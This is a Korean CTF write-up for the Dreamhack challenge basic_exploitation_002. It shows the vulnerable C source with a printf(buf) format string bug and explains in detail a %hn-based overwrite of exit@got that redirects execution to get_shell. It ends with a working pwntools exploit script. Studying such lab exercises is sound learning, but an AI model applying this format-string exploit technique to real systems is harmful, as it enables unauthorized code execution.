Pwnable

[Dreamhack] basic_exploitation_002 - write up

e_yejun 2023. 1. 27. 14:20

Index


basic_exploitation_002
Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.
https://dreamhack.io/wargame/challenges/4/

문제

보호기법 확인

NX bit가 켜져있고, Partial RELRO이므로 GOT overwrite가 가능하다.

basic_exploitation_002.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

printf함수에서 포맷스트링 버그가 발생한다. main함수에서 리턴없이 exit함수를 이용해서 프로그램을 정상종료시킨다. get_shell함수로 코드 흐름을 바꾸면 셸을 얻을 수 있다.먼저, 바이너리를 실행시켜보자.

문제 풀이

AAAA 값을 넣고 %p로 주소값을 출력시켰다. 이때 스택 주소 값에서 첫번째 값으로 주었던 AAAA0x41414141 값이 출력되는 것을 확인할 수 있다.

AAAA대신 입력시킬 메모리 주소를 넣고, %[n]c로 문자열 길이를 채워주면서 %$1n으로 AAAA자리 대신에 들어가는 주소에 값을 쓸 수 있다.

코드에서 마지막에 exit함수가 실행되는데, 여기서 exit@gotget_shell함수 주소로 overwrite하면 셸을 얻을 수 있다.

exit@got는 위 사진처럼 0x804a024이다.

get_shell함수 주소는 0x8048609이다. 이 값을 10진수로 표현할 것인데, 0x8048609는 10진수로 134,514,185이라 값이 너무 커서 범위를 초과한다. 따라서 2byte 단위로 끊어서 값을 세팅해줘야 한다. 그러면 exit@got+2에는 0x804를, exit@got에는 0x8609 값을 넣어주면 된다.

그러면 페이로드는 0x804a026 + 0x804a024 + %2044c%1$hn + %32261c%2$hn이 된다.

앞에 두개 주소는 각각 exit@got+2exit@got이다. 여기서 주의할 점은 리틀엔디언이라는 것이다.

이제 0x8040x8609를 입력해줄 것이다. 여기서 주의할 점은 값이 작은 인자부터 입력해줘야 한다. 큰 값을 먼저 입력하게 되면, 두번째 인자에서 앞보다 작은 값을 %n으로 해줄 수 없기 때문이다.

%n 사이에 h2byte씩 참조했기 때문에 입력해줘야 한다.

다시 정리하면 첫번째 주소(1$)에 들어갈 값은 0x804이기 때문에 10진수로 2052가 들어가야 하지만, 앞에 8byte를 입력했기 때문에 %2044c로 공간을 채워 2052 값이 첫번째 주소(1$)에 들어간다.

이후 두번째 주소(2$)에 들어갈 값은 0x8609이기 때문에 10진수로 34313가 들어가야 하지만, 앞에 입력된 2052byte를 빼서 %32261c로 공간을 채워 34313 값이 두번째 주소(2$)에 들어간다.

그러면 exit@got0x804a0240x8048609의 값으로 overwrite되고, 코드 마지막에서 exit함수가 실행될 때 get_shell함수가 실행되면서 셸을 획득한다.

익스플로잇

from pwn import *

p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
#p = remote('host3.dreamhack.games', 17892)

get_shell = 0x08048609
exit_got_addr1 = e.got['exit']
exit_got_addr2 = e.got['exit']+2

payload = p32(exit_got_addr2)
payload += p32(exit_got_addr1)
payload += b'%2044c%1$hn'
payload += b'%32261c%2$hn'

p.sendline(payload)

p.interactive()


Uploaded by N2T